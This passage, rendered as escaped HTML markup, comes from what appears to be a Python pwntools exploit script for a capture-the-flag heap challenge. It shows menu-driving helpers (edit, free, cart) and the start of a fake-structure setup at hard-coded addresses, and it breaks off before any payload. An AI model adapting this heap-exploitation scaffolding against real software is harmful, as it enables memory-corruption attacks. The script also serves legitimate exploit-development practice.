str&lt;&#x2F;span&gt;&lt;span&gt;(length) )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;recvuntil&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Input comment:&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        assert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; len&lt;&#x2F;span&gt;&lt;span&gt;(comment)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; length )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%s\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span&gt; comment )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;recvuntil&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Input name:&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        assert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; len&lt;&#x2F;span&gt;&lt;span&gt;(name)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 60&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%s\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span&gt; name )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;recvuntil&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Your choice $ &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; _edit&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; cid&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; comment&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;test&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; length&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;None&lt;&#x2F;span&gt;&lt;span&gt; ):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; not&lt;&#x2F;span&gt;&lt;span&gt; length&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            length&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; len&lt;&#x2F;span&gt;&lt;span&gt;(comment)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;recvuntil&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Input id :&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        assert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; type&lt;&#x2F;span&gt;&lt;span&gt;(cid)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%s\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; str&lt;&#x2F;span&gt;&lt;span&gt;(cid) )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;recvuntil&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Input new comment length :&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        assert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; type&lt;&#x2F;span&gt;&lt;span&gt;(length)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        assert&lt;&#x2F;span&gt;&lt;span&gt;( length&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;lt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1023&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; and&lt;&#x2F;span&gt;&lt;span&gt; length&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 16&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%s\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; str&lt;&#x2F;span&gt;&lt;span&gt;(length) )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;recvuntil&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Input comment :&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        assert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; len&lt;&#x2F;span&gt;&lt;span&gt;(comment)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; length )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span&gt; comment )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;recvuntil&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Your choice $ &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; _free&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; cid&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt; ):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;recvuntil&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Input id : &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        assert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; type&lt;&#x2F;span&gt;&lt;span&gt;(cid)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%s\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; str&lt;&#x2F;span&gt;&lt;span&gt;(cid) )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;recvuntil&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Your choice $ &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; _shopnote&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;        # Unused&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        assert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; _cart&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;        self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;        #self.conn.recv()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt; self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;recvuntil&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Your choice $ &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; pause&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        log&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;info&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;PID: &lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;conn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;proc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;pid))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        raw_input()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# Arrange fake struct and its components&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;LEADER&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;6020E0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;BASE_OFFSET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;602140&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# create the init string&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
